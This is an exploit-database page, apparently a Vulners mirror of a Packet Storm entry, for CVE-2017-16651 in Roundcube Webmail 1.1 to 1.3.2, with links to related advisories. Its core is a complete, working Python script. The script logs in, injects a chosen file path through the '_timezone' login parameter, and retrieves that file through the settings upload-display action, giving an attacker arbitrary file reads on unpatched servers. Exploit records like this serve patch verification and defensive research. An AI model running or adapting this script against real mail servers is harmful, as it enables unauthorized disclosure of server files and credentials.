Lucene search
+L

Roundcube Webmail 1.2 File Disclosure

🗓️ 01 Feb 2021 00:00:00Reported by stoneprestoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 293 Views

Roundcube Webmail 1.2 File Disclosure exploit, allows unauthorized access to file

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2017-16651
9 Nov 201700:00
–attackerkb
alpinelinux
AlpineLinux
CVE-2017-16651
9 Nov 201714:00
–alpinelinux
archlinux
ArchLinux
[ASA-201711-27] roundcubemail: arbitrary filesystem access
21 Nov 201700:00
–archlinux
bdu_fstec
BDU FSTEC
RoundCube Webmail File System Access
9 Dec 202100:00
–bdu_fstec
circl
Circl
CVE-2017-16651
8 Nov 202108:58
–circl
cisa_kev
CISA KEV Catalog
Roundcube Webmail File Disclosure Vulnerability
3 Nov 202100:00
–cisa_kev
cnvd
CNVD
Roundcube Webmail Arbitrary File Access Vulnerability
10 Nov 201700:00
–cnvd
cve
CVE
CVE-2017-16651
9 Nov 201714:00
–cve
cvelist
Cvelist
CVE-2017-16651
9 Nov 201714:00
–cvelist
debian
Debian
[SECURITY] [DLA 1193-1] roundcube security update
28 Nov 201700:44
–debian
Rows per page
`# Exploit Title: Roundcube Webmail 1.2 - File Disclosure   
# Date: 09-11-2017  
# Exploit Author: stonepresto  
# Vendor Homepage: https://roundcube.net/  
# Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/  
# Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2  
# Tested on: roundcube version 1.2-beta  
# CVE : CVE-2017-16651  
  
#!/usr/bin/env python3  
# Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1  
# https://github.com/stonepresto/CVE-2017-16651  
# Exploit Author: stonepresto  
  
import requests  
import re  
import sys  
  
URL="https://127.0.0.1/"  
USER="[email protected]"  
PASS="password"  
  
def main():  
s = requests.Session()  
r = s.get(URL,params={"_task":"login"},verify=False)  
token = None  
for line in r.text.split("\n"):  
if 'name="_token"' in line:  
token = line.split("value=")[1].split('"')[1]  
print("[+] token: %s" % token)  
if token is None:  
print("[!] unable to retrieve token")  
sys.exit(1)  
  
data = {  
"_token":token,  
"_task":"login",  
"_action":"login",  
"_timezone[files][1][path]":sys.argv[1],  
"_url":"_task%3Dlogin",  
"_user":USER,  
"_pass":PASS  
}  
r = s.post(URL,params={"_task":"login"},data=data,verify=False)  
  
params = {  
"_task":"settings",  
"_action":"upload-display",  
"_from":"timezone",  
"_file":"rcmfile1"  
}  
  
r = s.get(URL,params=params,verify=False)  
print(r.text)  
  
if __name__ == "__main__":  
if len(sys.argv) != 2:  
print("[!] Usage: %s <file-to-read>" % sys.argv[0])  
else:  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Feb 2021 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.45742
293